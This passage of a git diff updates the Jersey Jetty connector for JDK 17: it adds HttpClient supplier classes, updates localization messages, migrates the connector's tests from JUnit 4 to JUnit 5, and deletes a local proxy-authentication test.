+16,6 @@ package org.glassfish.jersey.jetty.connector; -import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.core.Configurable; import jakarta.ws.rs.core.Configuration; @@ -26,7 +25,6 @@ import org.glassfish.jersey.client.spi.ConnectorProvider; import org.eclipse.jetty.client.HttpClient; -import org.glassfish.jersey.internal.util.JdkVersion; /** * A {@link ConnectorProvider} for Jersey {@link Connector connector} @@ -42,8 +40,10 @@ *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}
  • *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
  • *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
  • + *
  • {@link JettyClientProperties#DISABLE_COOKIES}
  • * + *
  • {@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}
  • *
  • {@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
  • - *
  • {@link JettyClientProperties#DISABLE_COOKIES}
  • + *
  • {@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}
  • * *

    *

    @@ -84,9 +84,6 @@ public class JettyConnectorProvider implements ConnectorProvider { @Override public Connector getConnector(Client client, Configuration runtimeConfig) { - if (JdkVersion.getJdkVersion().getMajor() < 11) { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } return new JettyConnector(client, runtimeConfig); } diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java new file mode 100644 index 00000000000..6453521c068 --- /dev/null +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java @@ -0,0 +1,33 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.spi.Contract; + +/** + * A contract that allows for an optional registration of user predefined Jetty {@code HttpClient} + * that is consequently used by {@link JettyConnector} + */ +@Contract +public interface JettyHttpClientContract { + /** + * Supply a user predefined HttpClient + * @return a user predefined HttpClient + */ + HttpClient getHttpClient(); +} diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java new file mode 100644 index 00000000000..2b9e8b2ce73 --- /dev/null +++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.jetty.connector; + +import org.eclipse.jetty.client.HttpClient; + +/** + * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}. + * Not every possible configuration option is covered by the Jetty Connector and this supplier offers a way to provide + * an HttpClient that has configured the options not covered by the Jetty Connector. + *

    + * Typical usage: + *

    + *
    + * {@code
    + * HttpClient httpClient = ...
    + *
    + * ClientConfig config = new ClientConfig();
    + * config.connectorProvider(new JettyConnectorProvider());
    + * config.register(new JettyHttpClientSupplier(httpClient));
    + * Client client = ClientBuilder.newClient(config);
    + * }
    + * 
    + *

    + * The {@code HttpClient} is configured as if it was created by {@link JettyConnector} the usual way. + *

    + */ +public class JettyHttpClientSupplier implements JettyHttpClientContract { + private final HttpClient httpClient; + + /** + * {@code HttpClient} supplier to be optionally registered to a {@link org.glassfish.jersey.client.ClientConfig} + * @param httpClient a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. + */ + public JettyHttpClientSupplier(HttpClient httpClient) { + this.httpClient = httpClient; + } + + @Override + public HttpClient getHttpClient() { + return httpClient; + } +} diff --git a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties index af1151850c1..6561153dc68 100644 --- a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties +++ b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties @@ -1,5 +1,5 @@ # -# Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -16,8 +16,6 @@ # {0} - HTTP method, e.g. GET, DELETE method.not.supported=Method {0} not supported. -# {0} - property name - jersey.config.client.proxyUri -wrong.proxy.uri.type=The proxy URI ("{0}") property MUST be an instance of String or URI. invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider. -not.supported=Jetty connector is not supported on JDK version less than 11. +not.supported=Jetty connector is not supported on JDK version less than 17. diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java index fc7e4390d70..0cb1ad0a139 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -36,9 +36,9 @@ import org.glassfish.jersey.test.JerseyTest; import org.hamcrest.Matchers; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; /** * Asynchronous connector test. diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java index 1f709cfb26a..3fb1b5fbe3a 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,8 +28,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author Paul Sandoz diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java index 9e86168cf79..16f1b55ac86 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,15 +33,15 @@ import jakarta.inject.Singleton; +import org.eclipse.jetty.client.BasicAuthentication; import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.eclipse.jetty.client.util.BasicAuthentication; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author Paul Sandoz diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java index 28b7e51fd42..782cf407c51 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -37,11 +37,11 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author Paul Sandoz @@ -95,7 +95,7 @@ public void testDisabledCookies() { final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); if (connector.getCookieStore() != null) { - assertTrue(connector.getCookieStore().getCookies().isEmpty()); + assertTrue(connector.getCookieStore().all().isEmpty()); } else { assertNull(connector.getCookieStore()); } @@ -113,9 +113,9 @@ public void testCookies() { assertEquals("value", r.request().get(String.class)); final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); - assertNotNull(connector.getCookieStore().getCookies()); - assertEquals(1, connector.getCookieStore().getCookies().size()); - assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + assertNotNull(connector.getCookieStore().all()); + assertEquals(1, connector.getCookieStore().all().size()); + assertEquals("value", connector.getCookieStore().all().get(0).getValue()); client.close(); } } diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java index f3b3d9c8c16..3f462412a07 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,7 +27,7 @@ import jakarta.ws.rs.container.ContainerResponseContext; import jakarta.ws.rs.container.ContainerResponseFilter; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Custom logging filter. @@ -43,28 +43,28 @@ public class CustomLoggingFilter implements ContainerRequestFilter, ContainerRes @Override public void filter(ClientRequestContext context) throws IOException { System.out.println("CustomLoggingFilter.preFilter called"); - assertEquals(context.getConfiguration().getProperty("foo"), "bar"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); preFilterCalled++; } @Override public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { System.out.println("CustomLoggingFilter.postFilter called"); - assertEquals(context.getConfiguration().getProperty("foo"), "bar"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); postFilterCalled++; } @Override public void filter(ContainerRequestContext context) throws IOException { System.out.println("CustomLoggingFilter.preFilter called"); - assertEquals(context.getProperty("foo"), "bar"); + assertEquals("bar", context.getProperty("foo")); preFilterCalled++; } @Override public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { System.out.println("CustomLoggingFilter.postFilter called"); - assertEquals(context.getProperty("foo"), "bar"); + assertEquals("bar", context.getProperty("foo")); postFilterCalled++; } } diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java index 7b44c7d58a9..c706a609424 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -36,8 +36,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Tests the Http content negotiation. diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java index 74e147f8711..5b907101043 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -31,8 +31,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author Paul Sandoz diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java index 4e43ae590f6..ae1d07bdeca 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -39,8 +39,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Jetty connector follow redirect tests. diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java index 610f120f66e..1f8a7dd99d1 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -36,8 +36,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author Paul Sandoz diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java index 1d7b350d3dc..21008db35db 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -37,9 +37,9 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java index e871f047a2c..fd16bcdd767 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,10 +33,10 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** @@ -96,6 +96,6 @@ public void testPost() { @Test public void testUserAgent() { String response = target().path("test").request().get(String.class); - assertTrue("User-agent header should start with 'Jersey', but was " + response, response.startsWith("Jersey")); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); } } diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java index c9318197c4f..a48e555c434 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -46,8 +46,8 @@ import org.glassfish.jersey.server.Uri; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Jersey programmatic managed client test diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java index 055eb097b81..2c0c92c4721 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -35,8 +35,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Tests the Http methods. diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java index bd75bfa599f..6fcb14c68cf 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -31,7 +31,7 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; +import org.junit.jupiter.api.Test; /** * @author Paul Sandoz diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ProxyTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ProxyTest.java deleted file mode 100644 index baebc78e042..00000000000 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/ProxyTest.java +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Copyright (c) 2020, 2021 Oracle and/or its affiliates. All rights reserved. - * Copyright (c) 2019 Banco do Brasil S/A. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.jetty.connector; - -import org.eclipse.jetty.server.Request; -import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.handler.AbstractHandler; -import org.glassfish.jersey.client.ClientConfig; -import org.glassfish.jersey.client.ClientProperties; -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; - -import jakarta.servlet.ServletException; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.Path; -import jakarta.ws.rs.core.Application; -import jakarta.ws.rs.core.Response; -import java.io.IOException; -import java.nio.charset.Charset; -import java.util.Base64; - -import static org.junit.Assert.assertEquals; - -/** - * @author Marcelo Rubim -\ */ -public class ProxyTest extends JerseyTest { - private static final Charset CHARACTER_SET = Charset.forName("iso-8859-1"); - private static final String PROXY_URI = "http://127.0.0.1:9997"; - private static final String PROXY_USERNAME = "proxy-user"; - private static final String PROXY_PASSWORD = "proxy-password"; - - - @Path("") - public static class ProxyResource { - - @GET - public Response getProxy() { - return Response.status(407).header("Proxy-Authenticate", "Basic").build(); - } - - } - - @Path("proxyTest") - public static class ProxyTestResource { - - @GET - public Response getOK() { - return Response.ok().build(); - } - - } - - @Override - protected Application configure() { - ResourceConfig config = new ResourceConfig(ProxyResource.class, ProxyTestResource.class); - return config; - } - - @Override - protected void configureClient(ClientConfig config) { - config.connectorProvider(new JettyConnectorProvider()); - } - - @Test - public void testGet407() { - startFakeProxy(); - client().property(ClientProperties.PROXY_URI, ProxyTest.PROXY_URI); - Response response = target("proxyTest").request().get(); - assertEquals(407, response.getStatus()); - } - - @Test - public void testGetSuccess() { - startFakeProxy(); - client().property(ClientProperties.PROXY_URI, ProxyTest.PROXY_URI); - client().property(ClientProperties.PROXY_USERNAME, ProxyTest.PROXY_USERNAME); - client().property(ClientProperties.PROXY_PASSWORD, ProxyTest.PROXY_PASSWORD); - Response response = target("proxyTest").request().get(); - assertEquals(200, response.getStatus()); - } - - private void startFakeProxy(){ - Server server = new Server(9997); - server.setHandler(new ProxyHandler()); - try { - server.start(); - } catch (Exception e) { - - } - } - - class ProxyHandler extends AbstractHandler { - @Override - public void handle(String target, - Request baseRequest, - HttpServletRequest request, - HttpServletResponse response) throws IOException, - ServletException { - - if (request.getHeader("Proxy-Authorization") != null) { - String proxyAuthorization = request.getHeader("Proxy-Authorization"); - String decoded = new String(Base64.getDecoder().decode(proxyAuthorization.substring(6).getBytes()), - CHARACTER_SET); - final String[] split = decoded.split(":"); - final String username = split[0]; - final String password = split[1]; - - if (!username.equals(PROXY_USERNAME)) { - response.setStatus(400); - System.out.println("Found unexpected username: " + username); - } - - if (!password.equals(PROXY_PASSWORD)) { - response.setStatus(400); - System.out.println("Found unexpected password: " + username); - } - response.setStatus(200); - //TODO Add redirect to requestURI - } else { - response.setStatus(407); - response.addHeader("Proxy-Authenticate", "Basic"); - } - - - baseRequest.setHandled(true); - } - } -} diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java index 0038107b7ad..ad08a649618 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -37,10 +37,10 @@ import java.util.logging.Logger; import static org.hamcrest.CoreMatchers.instanceOf; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * Default synchronous jetty client implementation has a hard response size limit of 2MiB. diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java index 592292005c4..040b1945175 100644 --- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java +++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,29 +17,36 @@ package org.glassfish.jersey.jetty.connector; import java.net.URI; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import java.util.logging.Logger; +import jakarta.ws.rs.DefaultValue; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.QueryParam; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.client.ClientBuilder; import jakarta.ws.rs.client.WebTarget; import jakarta.ws.rs.core.Application; import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.StreamingOutput; +import org.glassfish.jersey.CommonProperties; import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.instanceOf; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.hamcrest.MatcherAssert.assertThat; +import static 